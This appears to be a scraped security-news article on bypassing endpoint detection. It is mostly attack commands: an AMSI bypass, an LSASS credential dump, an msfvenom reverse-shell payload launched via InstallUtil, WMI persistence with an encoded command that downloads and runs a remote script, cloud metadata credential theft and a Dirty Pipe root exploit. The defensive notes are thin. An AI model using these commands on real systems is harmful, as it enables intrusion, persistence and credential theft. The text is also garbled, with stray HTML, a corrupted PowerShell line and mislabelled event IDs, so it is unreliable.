Listen to this Post
Introduction:
Endpoint Detection and Response (EDR) solutions have become the backbone of modern enterprise security, but they are not infallible. Attackers continuously develop obfuscation and living-off-the-land (LotL) techniques to bypass these controls, often using built-in Windows tools like PowerShell and WMI to evade detection. This article dissects a real-world EDR bypass chain, providing step‑by‑step commands, configuration tweaks, and mitigation strategies that every blue and red team professional must understand.
Learning Objectives:
- Understand how attackers leverage PowerShell’s logging gaps and AMSI bypasses to execute malicious code undetected.
- Learn to enumerate EDR processes, test for filter driver weaknesses, and deploy memory‑only payloads.
- Implement detection rules and hardening measures using Sysmon, Windows Event Logging, and PowerShell Constrained Language Mode.
You Should Know:
- AMSI Bypass via Reflection and Obfuscation – A Step‑by‑Step Guide
The Antimalware Scan Interface (AMSI) is a primary defense against script‑based attacks. However, many EDRs still fail to block reflection‑based bypasses. The following technique uses .NET reflection to nullify AMSI’s callback buffer.
How it works:
The script locates the `amsi.dll` context and patches the `AmsiScanBuffer` function to always return AMSI_RESULT_CLEAN. This is done in memory without writing any file to disk.
Linux (offensive testing from Kali) – using PowerShell over WinRM:
Install evil-winrm for remote PowerShell gem install evil-winrm evil-winrm -i 192.168.1.100 -u Administrator -p 'P@ssw0rd' Once inside, run the AMSI bypass evil-winrm> Bypass-4MSI
Windows (direct PowerShell command):
AMSI bypass using reflection (example – for authorized testing only)
[bash].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Step‑by‑step:
- Open an administrative PowerShell window on a test Windows 10/11 VM.
2. Check AMSI status: `
.Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext','NonPublic,Static').GetValue($null)`</h2>
<h2 style="color: yellow;">3. Execute the bypass command above.</h2>
<ol>
<li>Run a normally blocked payload like `Invoke-Mimikatz` – it should now execute without alerts (in a lab environment).</li>
<li>To verify bypass, call `AmsiScanBuffer` manually using a .NET add-type.</li>
</ol>
<h2 style="color: yellow;">Detection & Mitigation:</h2>
<ul>
<li>Enable PowerShell Script Block Logging (Module and ScriptBlock).</li>
<li>Deploy Sysmon with Event ID 4104 (PowerShell command line) and monitor for the specific reflection pattern.</li>
<li>Enable Constrained Language Mode for non‑admin users.</li>
</ul>
<ol>
<li>EDR Process Enumeration – Living Off the Land</li>
</ol>
Before deploying any payload, attackers enumerate running EDR processes to choose the right evasion technique. Use these commands to map out security tools silently.
<h2 style="color: yellow;">Windows (CMD and PowerShell):</h2>
[bash]
:: List all services – look for 'Sentinel', 'CrowdStrike', 'CarbonBlack', 'Defender'
wmic service where "name like '%defender%' or name like '%sentinel%' or name like '%carbon%'" get name, processid
:: Via PowerShell (deeper enumeration)
Get-Process | Where-Object {$<em>.Description -like "antimalware" -or $</em>.ProcessName -like "sense" -or $_.ProcessName -like "csagent"}
Linux (Red Team – scanning remote Windows hosts via Impacket):
Using impacket-smbexec to run commands stealthily impacket-smbexec domain/user:[email protected] <blockquote> net start | findstr /i "windefend csfalcon cb"
Step‑by‑step EDR mapping:
- Run `tasklist /svc | findstr /i “sense csfalcon cylance”` to match known EDR process names.
- Query the Windows Filtering Platform (WFP) to see registered callout drivers: `fltmc filters` (look for filters named ‘CrowdStrike’, ‘SentinelOne’, ‘WdBoot’).
- Check for unloaded or tampered drivers using `sc query` and
driverquery. - On Linux, use `nmap` with the `–script smb-os-discovery` to infer security software from SMB banners.
Why this matters: Knowing which EDR is present dictates whether you use process injection, callback evasion, or kernel callout unhooking.
- Credential Dumping Without Mimikatz – Using Native Windows Tools
Many EDRs have high‑confidence signatures for Mimikatz. Attackers now use `comsvcs.dll` and `werfault` to dump LSASS memory.
Windows command (requires admin):
:: Get PID of LSASS tasklist /fi "imagename eq lsass.exe" :: Use rundll32 to call MiniDump rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\temp\lsass.dmp full
Extracting hashes from the dump (on Linux with pypykatz):
pypykatz lsa minidump lsass.dmp
Step‑by‑step mitigation:
- Enable Windows Defender Credential Guard (virtualization‑based protection for LSASS).
- Set registry key `HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest` to `UseLogonCredential = 0` (disables storing plaintext passwords).
- Deploy advanced audit policies:
auditpol /set /subcategory:"Credential Validation" /success:enable /failure:enable. -
Bypassing Application Whitelisting (AppLocker / WDAC) with InstallUtil
Attackers use signed .NET binaries to bypass allowlisting. `InstallUtil.exe` (part of .NET Framework) can execute arbitrary C code.
Creating a malicious C payload (on attacker Linux):
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.0.5 LPORT=443 -f csharp
Compile and run (on Windows victim):
Assuming the compiled .exe is dropped as Evil.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U Evil.dll
Step‑by‑step whitelisting bypass:
- Check AppLocker rules: `Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections`
2. Identify allowed publishers (e.g., `CN=Microsoft`).
- Use a signed Microsoft binary like `InstallUtil` or `RegSvcs` to run your payload.
- Bypass by writing the payload as a `Public` class with a `[System.ComponentModel.RunInstaller(true)]` attribute.
Hardening:
- Add `InstallUtil.exe` to the `Disallowed` list in AppLocker or WDAC.
- Enable `Block Non-Admin InstallUtil` via WDAC policy.
- Persistence via WMI Event Subscriptions – Stealth and Fileless
WMI permanent event subscriptions allow attackers to run scripts on system events (user login, USB insertion) without writing a service or scheduled task visible in common tools.
Creating a malicious WMI filter (Windows admin):
Create an event filter for user logon (Event ID 4624)
$filterArgs = @{Name='LogonTrigger'; EventNameSpace='root\cimv2'; QueryLanguage='WQL'; Query="SELECT FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType=2"}
$filter = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments $filterArgs
Create a consumer that runs a PowerShell reverse shell (base64 encoded)
$consumerArgs = @{Name='LogonConsumer'; CommandLineTemplate="powershell -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAALwBwAGEAbABvAGwAbgBpAG4ALgBwAHMAMQAnACkA"}
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments $consumerArgs
Bind filter and consumer
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter; Consumer=$consumer}
Detection:
- Audit WMI namespace `root\subscription` using PowerShell: `Get-WMIObject -Namespace root\Subscription -Class __EventFilter`
– Deploy WMI‑specific logging via Sysmon event ID 21 (WmiEventFilter).
- Cloud Hardening – AWS IAM Keys Exposed via EC2 Metadata
A common attack vector is SSRF leading to metadata API abuse. Attackers retrieve IAM credentials from `http://169.254.169.254/latest/meta-data/iam/security-credentials/`.
Linux command to extract (if SSRF exists):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ && \ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRoleName
Mitigation:
- Use IMDSv2 (requires `PUT` token, not just
GET). - Set `MetadataNoToken` to `disabled` and require
HttpTokens=required. - Attach IAM policies with the least privilege – never assign `AdministratorAccess` to EC2 roles.
Azure equivalent – Managed Identity theft:
curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -H Metadata:true
- Linux Privilege Escalation – Dirty Pipe (CVE-2022-0847) Exploitation
Although old, many unpatched kernels remain vulnerable. This allows overwriting any read‑only file.
Check kernel version:
uname -r Vulnerable: 5.8 to 5.16.11
Compile and run exploit:
gcc -o dirtypipe dirtypipe.c ./dirtypipe /etc/passwd 1 "root2::0:0:root:/root:/bin/bash"
Step‑by‑step:
- Download exploit from https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.
2. Compile with `gcc -static -o dirtypipe exploit.c`.
- Overwrite `/etc/passwd` to add a root user without password.
4. `su root2` – gain root access.
Mitigation:
- Upgrade to kernel 5.16.12+ or apply backported patch.
- Use livepatch (e.g., `canonical-livepatch` on Ubuntu) for zero‑downtime fixes.
What Undercode Say:
- EDR is a speed bump, not a wall – Native Windows tools combined with simple reflection bypasses still defeat many products; defense must shift to behavior analytics and constrained language modes.
- Visibility is your only real control – Without Sysmon, PowerShell deep logging, and WMI auditing, attackers will operate for months unnoticed. The commands above show exactly where logs are missing.
The techniques outlined are not theoretical – they are observed in ransomware deployments and nation‑state toolkits. Blue teams should run the detection steps weekly; red teams should build these into their tradecraft. The future of endpoint security is not about blocking known signatures but about rapidly isolating anomalous process chains – something most EDRs still fail to do without custom rules.
Prediction:
By 2027, EDRs will shift from signature‑heavy and AMSI‑dependent models to kernel‑enforced eBPF and Microsoft’s Pluton‑based attestation. This will kill many of the memory patching bypasses shown here. However, as long as PowerShell and WMI remain in every enterprise, living‑off‑the‑land attacks will evolve to abuse legitimate admin workflows – expect a surge in “Bring Your Own Vulnerable Driver” (BYOVD) and trusted installer abuse. The arms race will move to the firmware layer.
▶️ Related Video (78% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Infosec Cybersecurity – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
